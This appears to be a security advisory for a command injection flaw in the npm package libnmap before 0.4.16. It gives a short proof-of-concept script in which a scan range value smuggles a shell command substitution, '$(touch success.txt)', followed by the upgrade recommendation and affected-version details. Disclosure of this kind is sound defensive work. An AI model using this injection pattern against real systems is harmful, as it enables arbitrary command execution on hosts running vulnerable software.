Medium

Command Injection in libnmap

Disclosed: 01.11.2018
Updated: 11.10.2026 10:22

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	libnmap	< 0.4.16	0.4.16

References

CVSS score -

Weakness (CWE): CWE-77
Platform: npm
Package: libnmap
Disclosed: 01.11.2018
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7g2w-6r25-2j7p - CC BY 4.0

Vulnerability history: libnmap

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This is the only known vulnerability of this package.

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